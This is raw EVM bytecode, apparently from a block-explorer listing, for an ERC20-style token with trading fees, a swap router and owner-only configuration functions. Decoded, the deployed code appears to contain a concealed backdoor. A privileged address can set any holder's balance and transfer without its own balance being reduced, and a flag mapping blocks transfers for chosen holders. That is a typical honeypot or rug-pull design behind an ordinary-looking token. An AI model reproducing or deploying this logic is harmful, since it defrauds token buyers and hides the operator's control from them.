fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b8857613b87613d24565b5b828202905092915050565b6000613b9e82613c17565b9150613ba983613c17565b925082821015613bbc57613bbb613d24565b5b828203905092915050565b6000613bd282613bf7565b9050919050565b6000613be482613bf7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613c3982613c52565b9050919050565b6000613c4b82613c17565b9050919050565b6000613c5d82613c64565b9050919050565b6000613c6f82613bf7565b9050919050565b60005b83811015613c94578082015181840152602081019050613c79565b83811115613ca3576000848401525b50505050565b60006002820490506001821680613cc157607f821691505b60208210811415613cd557613cd4613d82565b5b50919050565b6000613ce682613c17565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d1957613d18613d24565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61401f81613bc7565b811461402a57600080fd5b50565b61403681613beb565b811461404157600080fd5b50565b61404d81613c17565b811461405857600080fd5b50565b61406481613c21565b811461406f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122094d3d2ebce7fe9b2142abf592bbe743abcad679286e5c7bb9c72c900a3ac1e6464736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103035760003560e01c806395d89b4111610190578063c816841b116100dc578063dc44b6a011610095578063f0af48bf1161006f578063f0af48bf14610be1578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063dc44b6a014610b50578063dd62ed3e14610b7b578063ef40f2bc14610bb85761030a565b8063c816841b14610a3e578063c860795214610a69578063c867d60b14610a94578063cab0347114610ad1578063d469a20914610afc578063da00097d14610b255761030a565b8063a9059cbb11610149578063c2d4640e11610123578063c2d4640e14610996578063c469b6dd146109bf578063c49b9a80146109ea578063c5d2418914610a135761030a565b8063a9059cbb146108df578063ae2116b81461091c578063b20a4e5a146109595761030a565b806395d89b41146107cd578063a073d37f146107f8578063a08e671f14610823578063a2a627221461084e578063a457c2d714610877578063a83f53a7146108b45761030a565b8063395093511161024f5780636249faf11161020857806382eefb43116101e257806382eefb431461070f57806388790a681461073a5780638b42507f146107655780638da5cb5b146107a25761030a565b80636249faf11461068057806370a08231146106a9578063715266fe146106e65761030a565b8063395093511461055c5780633b97084a146105995780633ecad271146105c25780634a74bb02146105ff57806357a5802f1461062a57806361a23c69146106555761030a565b806323b872dd116102bc57806328b392011161029657806328b39201146104b25780632b112e49146104dd578063313ce5671461050857806335d23615146105335761030a565b806323b872dd146104215780632563ae831461045e57806327c8f835146104875761030a565b806306fdde031461030f578063095ea7b31461033a5780630d643080146103775780631245e347146103a05780631694505e146103cb57806318160ddd146103f65761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061389b565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061339e565b610d2f565b60405161036e9190613865565b60405180910390f35b34801561038357600080fd5b5061039e6004803603810190610399919061353e565b610d4d565b005b3480156103ac57600080fd5b506103b5610e36565b6040516103c291906137e9565b60405180910390f35b3480156103d757600080fd5b506103e0610e5c565b6040516103ed9190613880565b60405180910390f35b34801561040257600080fd5b5061040b610e82565b604051610418919061399d565b60405180910390f35b34801561042d57600080fd5b506104486004803603810190610443919061334b565b610e8c565b6040516104559190613865565b60405180910390f35b34801561046a57600080fd5b506104856004803603810190610480919061343e565b610f66565b005b34801561049357600080fd5b5061049c611018565b6040516104a991906137ce565b60405180910390f35b3480156104be57600080fd5b506104c761103c565b6040516104d491906137e9565b60405180910390f35b3480156104e957600080fd5b506104f2611062565b6040516104ff919061399d565b60405180910390f35b34801561051457600080fd5b5061051d6110a6565b60405161052a9190613a42565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906132b1565b6110bd565b005b34801561056857600080fd5b50610583600480360381019061057e919061339e565b611196565b6040516105909190613865565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061346b565b611249565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906132b1565b6112e8565b6040516105f69190613865565b60405180910390f35b34801561060b57600080fd5b50610614611308565b6040516106219190613865565b60405180910390f35b34801561063657600080fd5b5061063f61131b565b60405161064c919061399d565b60405180910390f35b34801561066157600080fd5b5061066a611321565b604051610677919061399d565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a291906133de565b611327565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132b1565b611461565b6040516106dd919061399d565b60405180910390f35b3480156106f257600080fd5b5061070d600480360381019061070891906133de565b6114aa565b005b34801561071b57600080fd5b506107246115e4565b604051610731919061399d565b60405180910390f35b34801561074657600080fd5b5061074f6115ea565b60405161075c919061399d565b60405180910390f35b34801561077157600080fd5b5061078c600480360381019061078791906132b1565b6115f0565b6040516107999190613865565b60405180910390f35b3480156107ae57600080fd5b506107b7611610565b6040516107c491906137ce565b60405180910390f35b3480156107d957600080fd5b506107e2611639565b6040516107ef919061389b565b60405180910390f35b34801561080457600080fd5b5061080d6116cb565b60405161081a919061399d565b60405180910390f35b34801561082f57600080fd5b506108386116d5565b604051610845919061399d565b60405180910390f35b34801561085a57600080fd5b5061087560048036038101906108709190613498565b6116db565b005b34801561088357600080fd5b5061089e6004803603810190610899919061339e565b6117bb565b6040516108ab9190613865565b60405180910390f35b3480156108c057600080fd5b506108c9611888565b6040516108d6919061399d565b60405180910390f35b3480156108eb57600080fd5b506109066004803603810190610901919061339e565b61188e565b6040516109139190613865565b60405180910390f35b34801561092857600080fd5b50610943600480360381019061093e91906132b1565b6118ad565b6040516109509190613865565b60405180910390f35b34801561096557600080fd5b50610980600480360381019061097b91906132b1565b6118cd565b60405161098d9190613865565b60405180910390f35b3480156109a257600080fd5b506109bd60048036038101906109b89190613498565b6118ed565b005b3480156109cb57600080fd5b506109d46119cd565b6040516109e1919061399d565b60405180910390f35b3480156109f657600080fd5b50610a116004803603810190610a0c919061343e565b6119d3565b005b348015610a1f57600080fd5b50610a28611abc565b604051610a35919061399d565b60405180910390f35b348015610a4a57600080fd5b50610a53611ac2565b604051610a6091906137ce565b60405180910390f35b348015610a7557600080fd5b50610a7e611ae8565b604051610a8b919061399d565b60405180910390f35b348015610aa057600080fd5b50610abb6004803603810190610ab691906132b1565b611aee565b604051610ac89190613865565b60405180910390f35b348015610add57600080fd5b50610ae6611b0e565b604051610af3919061399d565b60405180910390f35b348015610b0857600080fd5b50610b236004803603810190610b1e9190613498565b611b14565b005b348015610b3157600080fd5b50610b3a611bf4565b604051610b479190613865565b60405180910390f35b348015610b5c57600080fd5b50610b65611c07565b604051610b72919061399d565b60405180910390f35b348015610b8757600080fd5b50610ba26004803603810190610b9d919061330b565b611c0d565b604051610baf919061399d565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda919061339e565b611c94565b005b348015610bed57600080fd5b50610c086004803603810190610c0391906132b1565b611d13565b604051610c159190613865565b60405180910390f35b348015610c2a57600080fd5b50610c33611d33565b604051610c40919061399d565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132b1565b611d39565b005b348015610c7e57600080fd5b50610c87611e8b565b604051610c949190613865565b60405180910390f35b606060018054610cac90613ca9565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613ca9565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611efc565b8484611f04565b6001905092915050565b610d7b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c336120cf565b610d8457600080fd5b60005b82829050811015610e2f57600180141580610d9f5750835b600c6000858585818110610db657610db5613db1565b5b9050602002016020810190610dcb91906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e2790613cdb565b915050610d87565b5050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610e99848484612115565b50610f5b84610ea6611efc565b610f568560405180606001604052806028815260200161407360289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f0c611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b611f04565b600190509392505050565b610f6e611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061393d565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110a16110907f000000000000000000000000000000000000000000000000000000000000dead611461565b6019546125b290919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6110c5611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611152576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111499061393d565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061123f6111a3611efc565b8461123a85600660006111b4611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b611f04565b6001905092915050565b611251611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d59061393d565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b61132f611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061393d565b60405180910390fd5b60005b8383905081101561145b5781600860008686858181106113e2576113e1613db1565b5b90506020020160208101906113f791906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145390613cdb565b9150506113bf565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114b2611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115369061393d565b60405180910390fd5b60005b838390508110156115de57816007600086868581811061156557611564613db1565b5b905060200201602081019061157a91906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115d690613cdb565b915050611542565b50505050565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461164890613ca9565b80601f016020809104026020016040519081016040528092919081815260200182805461167490613ca9565b80156116c15780601f10611696576101008083540402835291602001916116c1565b820191906000526020600020905b8154815290600101906020018083116116a457829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b6116e3611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611770576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117679061393d565b60405180910390fd5b8260108190555081601181905550806012819055506117b06012546117a2601154601054611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601781905550505050565b600061187e6117c8611efc565b846118798560405180606001604052806025815260200161409b60259139600660006117f2611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b611f04565b6001905092915050565b60155481565b60006118a261189b611efc565b8484612115565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6118f5611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611982576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119799061393d565b60405180910390fd5b8260138190555081601481905550806015819055506119c26015546119b4601454601354611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601881905550505050565b600f5481565b6119db611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f9061393d565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ab19190613865565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b1c611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba09061393d565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611be9600f54611bdb600e54600d54611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cc2600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002336120cf565b611ccb57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600c6020528060005260406000206000915054906101000a900460ff1681565b60165481565b611d41611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc59061393d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611ead9190613ab2565b905083811015611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee9906138fd565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6b9061397d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb906138dd565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120c2919061399d565b60405180910390a3505050565b60008173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061210c575060018014155b90509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217d9061395d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed906138bd565b60405180910390fd5b601c60149054906101000a900460ff161561221d576122168484846125fc565b9050612547565b600061222830611461565b90506000601a54821015905080801561224e5750601c60149054906101000a900460ff16155b80156122a45750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122bc5750601c60159054906101000a900460ff165b156122e657601c60169054906101000a900460ff16156122dc57601a5491505b6122e5826127cf565b5b6122ef866129c0565b1561238a5761234684600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061242d5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6124415761243c878787612a1b565b612443565b845b905061249781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612537919061399d565b60405180910390a3600193505050505b9392505050565b6000838311158290612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d919061389b565b60405180910390fd5b50600083856125a59190613b93565b9050809150509392505050565b60006125f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061254e565b905092915050565b6000612687826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271c82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127bc919061399d565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff0219169083151502179055506000612828600261281a60185461280c60135487612ceb90919063ffffffff16565b612d6690919063ffffffff16565b612d6690919063ffffffff16565b9050600061283f82846125b290919063ffffffff16565b905061284a81612db0565b6000479050600061287b61286a6002601354612d6690919063ffffffff16565b6018546125b290919063ffffffff16565b905060006128b960026128ab8461289d60135488612ceb90919063ffffffff16565b612d6690919063ffffffff16565b612d6690919063ffffffff16565b905060006128e4836128d660155487612ceb90919063ffffffff16565b612d6690919063ffffffff16565b9050600061290d826128ff85886125b290919063ffffffff16565b6125b290919063ffffffff16565b9050600081111561294557612944600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261303b565b5b600082111561297b5761297a600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361303b565b5b60008311801561298b5750600087115b1561299b5761299a8784613086565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612acb57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612aca57600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b4c57612b456064612b3760165486612ceb90919063ffffffff16565b612d6690919063ffffffff16565b9050612bca565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bc957612bc66064612bb860175486612ceb90919063ffffffff16565b612d6690919063ffffffff16565b90505b5b6000811115612cce57612c2581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cc5919061399d565b60405180910390a35b612ce181846125b290919063ffffffff16565b9150509392505050565b600080831415612cfe5760009050612d60565b60008284612d0c9190613b39565b9050828482612d1b9190613b08565b14612d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d529061391d565b60405180910390fd5b809150505b92915050565b6000612da883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061317a565b905092915050565b6000600267ffffffffffffffff811115612dcd57612dcc613de0565b5b604051908082528060200260200182016040528015612dfb5781602001602082028036833780820191505090505b5090503081600081518110612e1357612e12613db1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eb557600080fd5b505afa158015612ec9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612eed91906132de565b81600181518110612f0157612f00613db1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f6830601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f04565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fcc9594939291906139e8565b600060405180830381600087803b158015612fe657600080fd5b505af1158015612ffa573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161302f9291906139b8565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613081573d6000803e3d6000fd5b505050565b6130b330601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f04565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806130ff611610565b426040518863ffffffff1660e01b815260040161312196959493929190613804565b6060604051808303818588803b15801561313a57600080fd5b505af115801561314e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061317391906134eb565b5050505050565b600080831182906131c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b8919061389b565b60405180910390fd5b50600083856131d09190613b08565b9050809150509392505050565b6000813590506131ec81614016565b92915050565b60008151905061320181614016565b92915050565b60008083601f84011261321d5761321c613e14565b5b8235905067ffffffffffffffff81111561323a57613239613e0f565b5b60208301915083602082028301111561325657613255613e19565b5b9250929050565b60008135905061326c8161402d565b92915050565b60008135905061328181614044565b92915050565b60008151905061329681614044565b92915050565b6000813590506132ab8161405b565b92915050565b6000602082840312156132c7576132c6613e23565b5b60006132d5848285016131dd565b91505092915050565b6000602082840312156132f4576132f3613e23565b5b6000613302848285016131f2565b91505092915050565b6000806040838503121561332257613321613e23565b5b6000613330858286016131dd565b9250506020613341858286016131dd565b9150509250929050565b60008060006060848603121561336457613363613e23565b5b6000613372868287016131dd565b9350506020613383868287016131dd565b925050604061339486828701613272565b9150509250925092565b600080604083850312156133b5576133b4613e23565b5b60006133c3858286016131dd565b92505060206133d485828601613272565b9150509250929050565b6000806000604084860312156133f7576133f6613e23565b5b600084013567ffffffffffffffff81111561341557613414613e1e565b5b61342186828701613207565b935093505060206134348682870161325d565b9150509250925092565b60006020828403121561345457613453613e23565b5b60006134628482850161325d565b91505092915050565b60006020828403121561348157613480613e23565b5b600061348f84828501613272565b91505092915050565b6000806000606084860312156134b1576134b0613e23565b5b60006134bf86828701613272565b93505060206134d086828701613272565b92505060406134e186828701613272565b9150509250925092565b60008060006060848603121561350457613503613e23565b5b600061351286828701613287565b935050602061352386828701613287565b925050604061353486828701613287565b9150509250925092565b6000806000806060858703121561355857613557613e23565b5b60006135668782880161329c565b94505060206135778782880161325d565b935050604085013567ffffffffffffffff81111561359857613597613e1e565b5b6135a487828801613207565b925092505092959194509250565b60006135be83836135d9565b60208301905092915050565b6135d381613bd9565b82525050565b6135e281613bc7565b82525050565b6135f181613bc7565b82525050565b600061360282613a6d565b61360c8185613a90565b935061361783613a5d565b8060005b8381101561364857815161362f88826135b2565b975061363a83613a83565b92505060018101905061361b565b5085935050505092915050565b61365e81613beb565b82525050565b61366d81613c2e565b82525050565b61367c81613c40565b82525050565b600061368d82613a78565b6136978185613aa1565b93506136a7818560208601613c76565b6136b081613e28565b840191505092915050565b60006136c8602383613aa1565b91506136d382613e39565b604082019050919050565b60006136eb602283613aa1565b91506136f682613e88565b604082019050919050565b600061370e601b83613aa1565b915061371982613ed7565b602082019050919050565b6000613731602183613aa1565b915061373c82613f00565b604082019050919050565b6000613754602083613aa1565b915061375f82613f4f565b602082019050919050565b6000613777602583613aa1565b915061378282613f78565b604082019050919050565b600061379a602483613aa1565b91506137a582613fc7565b604082019050919050565b6137b981613c17565b82525050565b6137c881613c21565b82525050565b60006020820190506137e360008301846135e8565b92915050565b60006020820190506137fe60008301846135ca565b92915050565b600060c08201905061381960008301896135e8565b61382660208301886137b0565b6138336040830187613673565b6138406060830186613673565b61384d60808301856135e8565b61385a60a08301846137b0565b979650505050505050565b600060208201905061387a6000830184613655565b92915050565b60006020820190506138956000830184613664565b92915050565b600060208201905081810360008301526138b58184613682565b905092915050565b600060208201905081810360008301526138d6816136bb565b9050919050565b600060208201905081810360008301526138f6816136de565b9050919050565b6000602082019050818103600083015261391681613701565b9050919050565b6000602082019050818103600083015261393681613724565b9050919050565b6000602082019050818103600083015261395681613747565b9050919050565b600060208201905081810360008301526139768161376a565b9050919050565b600060208201905081810360008301526139968161378d565b9050919050565b60006020820190506139b260008301846137b0565b92915050565b60006040820190506139cd60008301856137b0565b81810360208301526139df81846135f7565b90509392505050565b600060a0820190506139fd60008301886137b0565b613a0a6020830187613673565b8181036040830152613a1c81866135f7565b9050613a2b60608301856135e8565b613a3860808301846137b0565b9695505050505050565b6000602082019050613a5760008301846137bf565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613abd82613c17565b9150613ac883613c17565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613afd57613afc613d24565b5b828201905092915050565b6000613b1382613c17565b9150613b1e83613c17565b925082613b2e57613b2d613d53565b5b82